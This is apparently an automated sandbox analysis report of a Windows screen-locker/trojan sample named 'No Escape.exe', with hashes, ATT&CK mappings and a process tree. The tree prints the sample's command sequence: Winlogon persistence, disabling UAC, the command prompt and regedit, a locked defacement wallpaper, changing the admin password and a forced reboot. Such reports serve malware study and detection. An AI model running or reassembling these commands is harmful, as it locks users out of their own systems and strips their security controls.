45f5a9c16f48e7ede809082c30cf44ebed30dd72aeca6a1c02a82f4ef5fb4fcd

Reason

Machine shutdown

General

Target

NO-ESCAPE
Size

185KB
MD5

e72b608999413431197c581791e6f4d5
SHA1

3949a56d0e78bc8b98390c38e740c02b3689886b
SHA256

45f5a9c16f48e7ede809082c30cf44ebed30dd72aeca6a1c02a82f4ef5fb4fcd
SHA512

523d6b6d6fc632033c4dabc75de8898a03c2f826708c9b5b636d1bae6a728edead05393a68955128ff55b7f63a7b46d980fea078773ba5dad39768a2eac8cbb2
SSDEEP

3072:nTRgFloDsDlV1RXjwQonGVuIbILrge4Cri6vPZb298oOolq1HR7Dht3DuqJ8lPUD:nTRgFloG7G3DuqJ08WVSgE29xxspm0nL

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\launch.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
664	attrib.exe
1544	attrib.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2713497151-363818805-1301026598-1000\Control Panel\Desktop\wallpaper = "C:\\hello.jpg"	reg.exe

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\mover.exe	No Escape.exe
File created	C:\Program Files (x86)\msg.exe	No Escape.exe
File opened for modification	C:\Program Files (x86)\	No Escape.exe
File created	C:\Program Files (x86)\erode.exe	No Escape.exe
File created	C:\Program Files (x86)\hello.bat	No Escape.exe
File created	C:\Program Files (x86)\launch.exe	No Escape.exe
File created	C:\Program Files (x86)\shaking.exe	No Escape.exe
File created	C:\Program Files (x86)\date.txt	No Escape.exe
File created	C:\Program Files (x86)\	No Escape.exe
File created	C:\Program Files (x86)\hello.jpg	No Escape.exe
File created	C:\Program Files (x86)\hello.reg	No Escape.exe
File created	C:\Program Files (x86)\mypc.exe	No Escape.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4352	reg.exe

Runs .reg file with regedit 1 IoCs

pid	Process
2344	regedit.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2648	shutdown.exe
Token: SeRemoteShutdownPrivilege	2648	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2820	No Escape.exe
1876	LogonUI.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 5084	2820	No Escape.exe	85
PID 2820 wrote to memory of 5084	2820	No Escape.exe	85
PID 5084 wrote to memory of 2484	5084	wscript.exe	86
PID 5084 wrote to memory of 2484	5084	wscript.exe	86
PID 2484 wrote to memory of 664	2484	cmd.exe	88
PID 2484 wrote to memory of 664	2484	cmd.exe	88
PID 2484 wrote to memory of 1544	2484	cmd.exe	89
PID 2484 wrote to memory of 1544	2484	cmd.exe	89
PID 2484 wrote to memory of 2344	2484	cmd.exe	90
PID 2484 wrote to memory of 2344	2484	cmd.exe	90
PID 2484 wrote to memory of 3176	2484	cmd.exe	91
PID 2484 wrote to memory of 3176	2484	cmd.exe	91
PID 2484 wrote to memory of 3220	2484	cmd.exe	92
PID 2484 wrote to memory of 3220	2484	cmd.exe	92
PID 2484 wrote to memory of 1452	2484	cmd.exe	93
PID 2484 wrote to memory of 1452	2484	cmd.exe	93
PID 2484 wrote to memory of 2068	2484	cmd.exe	94
PID 2484 wrote to memory of 2068	2484	cmd.exe	94
PID 2484 wrote to memory of 3412	2484	cmd.exe	95
PID 2484 wrote to memory of 3412	2484	cmd.exe	95
PID 2484 wrote to memory of 2224	2484	cmd.exe	96
PID 2484 wrote to memory of 2224	2484	cmd.exe	96
PID 2484 wrote to memory of 4352	2484	cmd.exe	97
PID 2484 wrote to memory of 4352	2484	cmd.exe	97
PID 2484 wrote to memory of 3112	2484	cmd.exe	99
PID 2484 wrote to memory of 3112	2484	cmd.exe	99
PID 3112 wrote to memory of 928	3112	net.exe	98
PID 3112 wrote to memory of 928	3112	net.exe	98
PID 2484 wrote to memory of 2648	2484	cmd.exe	101
PID 2484 wrote to memory of 2648	2484	cmd.exe	101

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
664	attrib.exe
1544	attrib.exe

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.4.586678136\355148363" -childID 3 -isForBrowser -prefsHandle 3656 -prefMapHandle 3652 -prefsLen 26402 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f00b4a96-d9ae-4a42-a0b6-09b4a91a505a} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 3676 1de4a760d58 tab
1⤵
PID:4900

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NO-ESCAPE
1⤵
PID:4120

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.5.1418999844\2081502372" -childID 4 -isForBrowser -prefsHandle 4648 -prefMapHandle 4628 -prefsLen 26461 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9845827e-0bc5-4252-b8fd-8ea6caeb37b5} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 4644 1de581e0258 tab
1⤵
PID:3840

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.7.1933522503\1611310372" -childID 6 -isForBrowser -prefsHandle 5044 -prefMapHandle 4972 -prefsLen 26461 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d892c091-a589-483a-a236-6e57b457ef46} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 5056 1de588caf58 tab
1⤵
PID:1784

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.6.350943041\1091884529" -childID 5 -isForBrowser -prefsHandle 4784 -prefMapHandle 4776 -prefsLen 26461 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {faf2e6db-9edb-4654-bb02-f9ea43752464} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 4764 1de5bc68558 tab
1⤵
PID:5024

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.8.597959708\11899312" -childID 7 -isForBrowser -prefsHandle 5260 -prefMapHandle 4948 -prefsLen 26461 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5615b11b-21b1-4972-af03-85a04c45f8f1} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 3644 1de5c0e2d58 tab
1⤵
PID:3704

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.9.1955105454\433333594" -childID 8 -isForBrowser -prefsHandle 4204 -prefMapHandle 4172 -prefsLen 26795 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8253d02d-7db8-414e-a972-643b3de7e1d3} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 1212 1de57ef1b58 tab
1⤵
PID:4476

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.10.1941372652\511487237" -parentBuildID 20221007134813 -prefsHandle 960 -prefMapHandle 4796 -prefsLen 26795 -prefMapSize 232645 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6e12b4b7-3b99-4a21-931e-a9571e568ffc} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 4992 1de57ef4b58 rdd
1⤵
PID:1528

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2216.11.1918371872\2094176355" -childID 9 -isForBrowser -prefsHandle 4064 -prefMapHandle 4916 -prefsLen 27060 -prefMapSize 232645 -jsInitHandle 1304 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d1b3228b-a073-4829-bcd5-dcd336117a8d} 2216 "\\.\pipe\gecko-crash-server-pipe.2216" 4624 1de5bc6b558 tab
1⤵
PID:2180

C:\Users\Admin\Downloads\No Escape.exe
"C:\Users\Admin\Downloads\No Escape.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\System32\wscript.exe
  "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\7FBA.tmp\7FBB.tmp\7FBC.vbs //Nologo
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\msg.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:664
  - - C:\Windows\system32\attrib.exe
      attrib +s +h C:\launch.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1544
  - - C:\Windows\regedit.exe
      regedit /s hello.reg
      4⤵
      Runs .reg file with regedit
      PID:2344
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
      4⤵
      PID:3176
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
      4⤵
      Modifies WinLogon for persistence
      PID:3220
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
      4⤵
      Sets desktop wallpaper using registry
      PID:1452
  - - C:\Windows\system32\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
      4⤵
      PID:2068
  - - C:\Windows\system32\reg.exe
      reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:3412
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
      4⤵
      PID:2224
  - - C:\Windows\system32\reg.exe
      REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      Modifies registry key
      PID:4352
  - - C:\Windows\system32\net.exe
      net user Admin death
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3112
  - - C:\Windows\system32\shutdown.exe
      shutdown /t 0 /r
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin death
1⤵
PID:928

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ae9855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Program Files (x86)\date.txt

Filesize
120B

MD5
255a8e245b6ad378558b90cbe3dbc3d0

SHA1
6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

SHA256
d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

SHA512
67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

Download Submit
C:\Program Files (x86)\hello.bat

Filesize
1KB

MD5
b86fddd2b764f079615be5d4dc3e158d

SHA1
2510479054db1fe52cc2dcd3c7033d91204cb367

SHA256
2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

SHA512
915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

Download Submit
C:\Program Files (x86)\hello.jpg

Filesize
110KB

MD5
057ea45c364eb2994808a47b118556a2

SHA1
1d48c9c15ea5548af1475b5a369a4f7b8db42858

SHA256
6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

SHA512
582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

Download Submit
C:\Program Files (x86)\hello.reg

Filesize
3KB

MD5
81427e9d5d10657b9edffd22e7b405bb

SHA1
f27ab62f77f827dbb32c66a35ac48006c47f4374

SHA256
bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

SHA512
b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

Download Submit
C:\Program Files (x86)\launch.exe

Filesize
92KB

MD5
b4acc41d0e55b299ffeec11a8a20cf08

SHA1
bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

SHA256
34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

SHA512
d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

Download Submit
C:\Program Files (x86)\msg.exe

Filesize
9KB

MD5
331a0667b11e02330357565427dc1175

SHA1
d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

SHA256
fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

SHA512
1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

Download Submit
C:\Users\Admin\AppData\Local\Temp\7FBA.tmp\7FBB.tmp\7FBC.vbs

Filesize
588B

MD5
67706bca9ceaba11530e05d351487003

SHA1
3a5ed77f81b14093a5f18c4d46895bc7ea770fee

SHA256
190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

SHA512
902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598

Download Submit

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads